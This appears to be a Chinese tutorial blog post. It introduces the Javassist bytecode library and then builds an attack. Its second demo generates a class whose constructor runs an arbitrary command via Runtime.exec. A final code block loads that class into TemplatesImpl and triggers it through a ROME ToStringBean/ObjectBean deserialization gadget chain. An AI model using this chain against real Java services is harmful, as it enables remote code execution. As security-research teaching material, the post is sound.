前置知识介绍
Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件,它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,或者直接创建一个新的类,这个过程就类似java的反射调用,但是Javassist一般用于对于字节码文件的修改
基础知识介绍
ClassPool
ClassPool为CtClass对象的容器。要创建一个CtClass对象必须通过ClassPool来获取,创建ClassPool的方法如下
1
| ClassPool pool=ClassPool.getDefault();
|
对于CtClass的获取,可以直接通过makeClass来创建一个新的类赋值,还可以通过get方法来进行获取,但是在一些特殊情况将无法获取到类,由于ClassPool.getDfault()获取的ClassPool使用JVM的类搜索的路径,如果程序运行在JBoss或者Tomcat等web服务器上就可能找不到自己定义的类,这里就需要手动输入路径来进行获取
1 2 3
| pool.getDefault().insertClassPath("/path/to/your/classes");
pool.insertClassPath(new ClassClassPath(test.class));
|
CtClass及相关用法
CtClass可以看做一个加强版的class对象,但是CtClass需要以ClassPool为容器来获取
通常的获取方式为ClassPool.get(ClassName),这里就得先创建一个ClassPool容器。CtClass是核心,对于创建属性,方法或者构造器都是基于CtClass来进行的
一般获取用法:
1 2 3 4 5 6 7 8 9
| pool.makeClass("test") pool.makeClass("java.test") pool.get("test")
pool.makeClass("test",pool.get(person.class.getName())) Ctclass superClass = pool.get(person.class.getName()); ctClass.setSuperclass(superClass);
|
CtMethod
CtMethod同理可以看做一个加强版的Method,这里可以通过CtClass.getDeclaredMethod(MethodName)方法来获取,或者直接通过new CtMethod(type,name,new CtClass[]{},ctclass)来创建一个CtMethod对象,它里面还支持对类中方法进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public final class CtMethod extends CtBehavior { }
public abstract class CtBehavior extends CtMember { public void setBody(String src); public void insertBefore(String src); public void insertAfter(String src); public int insertAt(int lineNum, String src); }
|
由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
符号含义$0,$1, $2, …$0 = this; $1 = args[1] …..$args方法参数数组.它的类型为 Object[]) 等价于 m(1,2,…)$cflow(…)cflow 变量$r返回结果的类型,用于强制类型转换$w包装器类型,用于强制类型转换$_返回值$sig类型为 java.lang.Class 的参数类型数组$type一个 java.lang.Class 对象,表示返回值类型$class一个 java.lang.Class 对象,表示当前正在修改的类
demo1
依赖
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
|
下面一个小demo创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| ublic static void aaa() throws Exception{ ClassPool pool=ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Object.class)); CtClass ctclass=pool.makeClass("person"); CtField ctfield=new CtField(pool.get("java.lang.String"),"name",ctclass); ctfield.setModifiers(Modifier.PRIVATE); ctclass.addField(ctfield,CtField.Initializer.constant("luokuang")); CtConstructor ctconstructor=new CtConstructor(new CtClass[]{pool.get("java.lang.String")},ctclass); ctconstructor.setModifiers(Modifier.PUBLIC); ctconstructor.setBody("{ this.name=$1; }"); ctclass.addConstructor(ctconstructor); CtMethod ctMethod=new CtMethod(CtClass.voidType,"print",new CtClass[]{},ctclass); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{ System.out.println(this.name);}"); ctclass.addMethod(ctMethod); ctclass.writeFile("D:\\javadm\\javassist\\src\\main\\java"); }
public static void main(String[] args)throws Exception { aaa(); }
|
创建的字节码文件

demo2
创建一个简单的恶意字节码文件
1 2 3 4 5 6 7 8 9 10 11 12
| public static void setter(String cmd)throws Exception{ ClassPool pool=ClassPool.getDefault(); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); CtClass cc=pool.makeClass("rce"); cc.setSuperclass(superClass); String statics="{ Runtime.getRuntime().exec(\""+cmd+"\"); }"; CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},cc); ctConstructor.setBody("{ Runtime.getRuntime().exec(\""+cmd+"\"); }"); cc.addConstructor(ctConstructor); cc.writeFile("D:\\javadm\\javassist\\src\\main\\java");
}
|
创建的恶意字节码文件

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public static void main(String[] args)throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "test"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://java/rce.class")); byte[][] codes={code}; bytecodes.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl()); ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
Hashtable hashtable = new Hashtable(); hashtable.put(equalsBean,"luokuang");
Field aa=toStringBean.getClass().getDeclaredField("_obj"); aa.setAccessible(true); aa.set(toStringBean,templates); serialized(hashtable,"123.bin"); unserialized("123.bin");
}
|